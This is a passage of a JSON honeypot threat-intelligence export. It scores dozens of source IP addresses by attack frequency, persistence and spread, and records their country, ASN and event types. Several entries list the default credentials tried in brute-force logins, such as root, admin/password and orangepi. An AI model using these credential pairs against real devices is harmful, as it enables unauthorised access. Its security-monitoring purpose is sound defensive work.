      ],
      "country": "Canada",
      "country_code": "CA",
      "city": null,
      "asn": 16276,
      "as_org": "OVH SAS",
      "threat_score": 45.2,
      "threat_level": "medium",
      "score_components": {
        "frequency": 20.8,
        "persistence": 17.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 119,
        "days_active_30d": 21,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T15:14:12.994000+00:00",
        "last_seen_30d": "2026-05-28T01:42:41.895000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 68,
        "Suricata": 51
      }
    },
    "113.218.203.248": {
      "attack_count": 92,
      "first_seen": "2026-05-19T08:05:00.125Z",
      "last_seen": "2026-05-19T13:39:05.023Z",
      "sessions": 46,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 20.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 143,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T08:05:00.125000+00:00",
        "last_seen_30d": "2026-05-19T13:40:10.498000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 92,
        "Suricata": 51
      }
    },
    "209.205.218.26": {
      "attack_count": 92,
      "first_seen": "2026-05-17T09:08:38.708Z",
      "last_seen": "2026-05-17T09:17:06.729Z",
      "sessions": 46,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Piscataway",
      "asn": 55081,
      "as_org": "24 SHELLS",
      "threat_score": 20.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 288,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-17T09:08:38.708000+00:00",
        "last_seen_30d": "2026-05-17T09:18:29.997000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Suricata": 196,
        "Cowrie": 92
      }
    },
    "34.77.204.127": {
      "attack_count": 71,
      "first_seen": "2026-05-03T08:11:54.561Z",
      "last_seen": "2026-05-03T08:12:40.978Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "*1",
        "GET / HTTP/1.1",
        "OPTIONS rtsp://example.com RTSP/1.0",
        "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36"
      ],
      "passwords_attempted": [
        "$4",
        "Accept-Encoding: gzip",
        "Cseq: 8315",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [
        ""
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 3.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 20.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 112,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T08:11:54.561000+00:00",
        "last_seen_30d": "2026-05-03T08:13:50.833000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 71,
        "Suricata": 41
      }
    },
    "152.32.192.176": {
      "attack_count": 68,
      "first_seen": "2026-05-17T10:03:50.385Z",
      "last_seen": "2026-05-30T14:37:19.592Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "orangepi"
      ],
      "passwords_attempted": [
        "admin",
        "P",
        "orangepi",
        "password",
        "root"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 69.1,
      "threat_level": "high",
      "score_components": {
        "frequency": 24.8,
        "persistence": 16.7,
        "diversity": 10,
        "spread": 20,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 301,
        "days_active_30d": 20,
        "ports_targeted_30d": 5,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-11T12:09:36.901000+00:00",
        "last_seen_30d": "2026-05-30T14:38:28.815000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 143,
        "Tanner": 88,
        "Cowrie": 68,
        "Honeytrap": 2
      }
    },
    "139.135.41.205": {
      "attack_count": 50,
      "first_seen": "2026-05-15T01:34:05.047Z",
      "last_seen": "2026-05-15T01:39:29.506Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 14.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-15T01:34:05.047000+00:00",
        "last_seen_30d": "2026-05-15T01:40:38.851000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "175.107.237.17": {
      "attack_count": 48,
      "first_seen": "2026-05-26T01:14:15.274Z",
      "last_seen": "2026-05-26T01:21:21.023Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Karachi",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 26.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 73,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-26T01:14:15.274000+00:00",
        "last_seen_30d": "2026-05-26T01:22:44.863000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 48,
        "Suricata": 25
      }
    },
    "41.242.30.5": {
      "attack_count": 46,
      "first_seen": "2026-05-14T07:31:39.209Z",
      "last_seen": "2026-05-14T07:57:10.051Z",
      "sessions": 23,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Libya",
      "country_code": "LY",
      "city": "Misratah",
      "asn": 37566,
      "as_org": "ICONA-AS",
      "threat_score": 13.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 19.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 82,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T07:31:39.209000+00:00",
        "last_seen_30d": "2026-05-14T07:58:56.574000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 46,
        "Suricata": 36
      }
    },
    "92.246.87.54": {
      "attack_count": 42,
      "first_seen": "2026-05-05T01:06:37.129Z",
      "last_seen": "2026-05-11T08:53:12.740Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": null,
      "asn": 198584,
      "as_org": "PIO-Hosting GmbH",
      "threat_score": 11.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.9,
        "persistence": 5.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 49,
        "days_active_30d": 7,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T01:06:37.129000+00:00",
        "last_seen_30d": "2026-05-11T08:54:18.815000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 28,
        "Suricata": 21
      }
    },
    "203.101.186.176": {
      "attack_count": 40,
      "first_seen": "2026-05-18T15:47:17.514Z",
      "last_seen": "2026-05-18T15:51:36.968Z",
      "sessions": 20,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Islamabad",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 17.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 17.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 61,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T15:47:17.514000+00:00",
        "last_seen_30d": "2026-05-18T15:52:40.390000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 40,
        "Suricata": 21
      }
    },
    "78.111.67.112": {
      "attack_count": 30,
      "first_seen": "2026-05-08T17:19:25.064Z",
      "last_seen": "2026-05-31T09:35:21.640Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": null,
      "asn": 33984,
      "as_org": "Surfplanet GmbH",
      "threat_score": 47.4,
      "threat_level": "medium",
      "score_components": {
        "frequency": 15.4,
        "persistence": 20.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 35,
        "days_active_30d": 24,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T17:19:25.064000+00:00",
        "last_seen_30d": "2026-05-31T09:36:25.618000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 20,
        "Suricata": 15
      }
    },
    "27.155.92.28": {
      "attack_count": 27,
      "first_seen": "2026-05-18T16:36:39.269Z",
      "last_seen": "2026-05-18T17:27:14.666Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 133774,
      "as_org": "Fuzhou",
      "threat_score": 17.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 17.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 59,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T16:36:39.269000+00:00",
        "last_seen_30d": "2026-05-18T17:40:10.849000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Suricata": 32,
        "Cowrie": 27
      }
    },
    "147.182.197.10": {
      "attack_count": 24,
      "first_seen": "2026-05-08T23:40:43.078Z",
      "last_seen": "2026-05-31T19:23:17.491Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 46.5,
      "threat_level": "medium",
      "score_components": {
        "frequency": 14.5,
        "persistence": 20.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 28,
        "days_active_30d": 24,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T23:40:43.078000+00:00",
        "last_seen_30d": "2026-05-31T19:24:22.084000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 16,
        "Suricata": 12
      }
    },
    "186.226.62.56": {
      "attack_count": 24,
      "first_seen": "2026-05-15T12:01:13.536Z",
      "last_seen": "2026-05-16T22:29:42.068Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Rio de Janeiro",
      "asn": 262954,
      "as_org": "VirtuaServer Informatica Ltda",
      "threat_score": 14.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.5,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 28,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-15T12:01:13.536000+00:00",
        "last_seen_30d": "2026-05-16T22:30:48.414000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 16,
        "Suricata": 12
      }
    },
    "89.39.253.101": {
      "attack_count": 22,
      "first_seen": "2026-05-19T13:33:28.747Z",
      "last_seen": "2026-05-19T15:18:23.822Z",
      "sessions": 11,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Romania",
      "country_code": "RO",
      "city": null,
      "asn": 33977,
      "as_org": "Banat Telecom Satelit S.R.L.",
      "threat_score": 16.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 33,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T13:33:28.747000+00:00",
        "last_seen_30d": "2026-05-19T15:19:31.531000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 22,
        "Suricata": 11
      }
    },
    "119.30.116.95": {
      "attack_count": 20,
      "first_seen": "2026-05-07T01:22:41.708Z",
      "last_seen": "2026-05-07T01:25:10.241Z",
      "sessions": 10,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 58470,
      "as_org": "IX Peering for Mobilink and Link Direct International.",
      "threat_score": 5.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 31,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T01:22:41.708000+00:00",
        "last_seen_30d": "2026-05-07T01:26:16.468000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 20,
        "Suricata": 11
      }
    },
    "175.0.77.205": {
      "attack_count": 20,
      "first_seen": "2026-05-20T12:37:38.016Z",
      "last_seen": "2026-05-20T13:41:17.181Z",
      "sessions": 10,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Changsha",
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 17.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 30,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T12:37:38.016000+00:00",
        "last_seen_30d": "2026-05-20T13:42:26.032000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 20,
        "Suricata": 10
      }
    },
    "185.255.100.230": {
      "attack_count": 18,
      "first_seen": "2026-05-10T06:55:35.294Z",
      "last_seen": "2026-05-27T06:34:28.937Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 9009,
      "as_org": "M247 Europe SRL",
      "threat_score": 34.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 13.2,
        "persistence": 15.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 21,
        "days_active_30d": 18,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T06:55:35.294000+00:00",
        "last_seen_30d": "2026-05-27T06:35:36.429000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 12,
        "Suricata": 9
      }
    },
    "187.116.163.45": {
      "attack_count": 14,
      "first_seen": "2026-05-19T19:14:57.021Z",
      "last_seen": "2026-05-19T22:42:17.650Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Betim",
      "asn": 26599,
      "as_org": "TELEFONICA BRASIL S.A",
      "threat_score": 15.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 21,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T19:14:57.021000+00:00",
        "last_seen_30d": "2026-05-19T22:43:21.614000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 14,
        "Suricata": 7
      }
    },
    "103.57.248.10": {
      "attack_count": 12,
      "first_seen": "2026-05-15T06:09:53.208Z",
      "last_seen": "2026-05-30T00:56:40.700Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Kwai Chung",
      "asn": 9009,
      "as_org": "M247 Europe SRL",
      "threat_score": 35.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 11.5,
        "persistence": 13.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 16,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-15T06:09:53.208000+00:00",
        "last_seen_30d": "2026-05-30T00:57:43.287000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 6
      }
    },
    "64.62.156.122": {
      "attack_count": 11,
      "first_seen": "2026-05-04T04:04:44.665Z",
      "last_seen": "2026-05-25T11:13:31.986Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "Accept-Encoding: gzip",
        "GET / HTTP/1.1",
        "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36"
      ],
      "passwords_attempted": [
        "",
        "Accept: */*",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Minneapolis",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 94.7,
      "threat_level": "critical",
      "score_components": {
        "frequency": 24.7,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 296,
        "days_active_30d": 30,
        "ports_targeted_30d": 87,
        "honeypots_triggered_30d": 7,
        "first_seen_30d": "2026-05-02T04:13:21+00:00",
        "last_seen_30d": "2026-05-31T14:16:36.313000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 180,
        "Honeytrap": 97,
        "Cowrie": 11,
        "ConPot": 4,
        "Dionaea": 2,
        "ElasticPot": 1,
        "Ipphoney": 1
      }
    },
    "103.183.62.0": {
      "attack_count": 10,
      "first_seen": "2026-05-17T20:22:56.894Z",
      "last_seen": "2026-05-17T20:25:57.221Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "root"
      ],
      "passwords_attempted": [
        "345gs5662d34",
        "web@cc123"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Bangladesh",
      "country_code": "BD",
      "city": null,
      "asn": 149636,
      "as_org": "Hasan Broadband Net",
      "threat_score": 13.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 15,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-17T20:22:56.894000+00:00",
        "last_seen_30d": "2026-05-17T20:27:04.371000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 5
      }
    },
    "217.253.13.212": {
      "attack_count": 10,
      "first_seen": "2026-05-24T23:22:30.484Z",
      "last_seen": "2026-05-24T23:26:38.383Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Giessen",
      "asn": 3320,
      "as_org": "Deutsche Telekom AG",
      "threat_score": 19.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 17,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T23:22:30.484000+00:00",
        "last_seen_30d": "2026-05-24T23:37:20.153000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 7
      }
    },
    "34.76.49.72": {
      "attack_count": 10,
      "first_seen": "2026-05-26T07:29:03.473Z",
      "last_seen": "2026-05-26T07:29:17.259Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin",
        "password"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 20.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 11.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 15,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-26T07:29:03.473000+00:00",
        "last_seen_30d": "2026-05-26T07:30:17.356000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 5
      }
    },
    "35.233.64.201": {
      "attack_count": 10,
      "first_seen": "2026-05-07T13:00:53.099Z",
      "last_seen": "2026-05-07T13:01:04.123Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin",
        "password"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 4.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 15,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T13:00:53.099000+00:00",
        "last_seen_30d": "2026-05-07T13:02:12.870000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 5
      }
    },
    "152.59.88.62": {
      "attack_count": 8,
      "first_seen": "2026-05-11T07:56:08.432Z",
      "last_seen": "2026-05-11T08:04:10.347Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Sah\u0101ranpur",
      "asn": 55836,
      "as_org": "Reliance Jio Infocomm Limited",
      "threat_score": 8.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T07:56:08.432000+00:00",
        "last_seen_30d": "2026-05-11T08:05:16.744000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 5
      }
    },
    "167.88.164.14": {
      "attack_count": 8,
      "first_seen": "2026-05-23T21:06:11.376Z",
      "last_seen": "2026-05-23T21:06:11.901Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 14956,
      "as_org": "RouterHosting LLC",
      "threat_score": 21.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 14.1,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 26,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
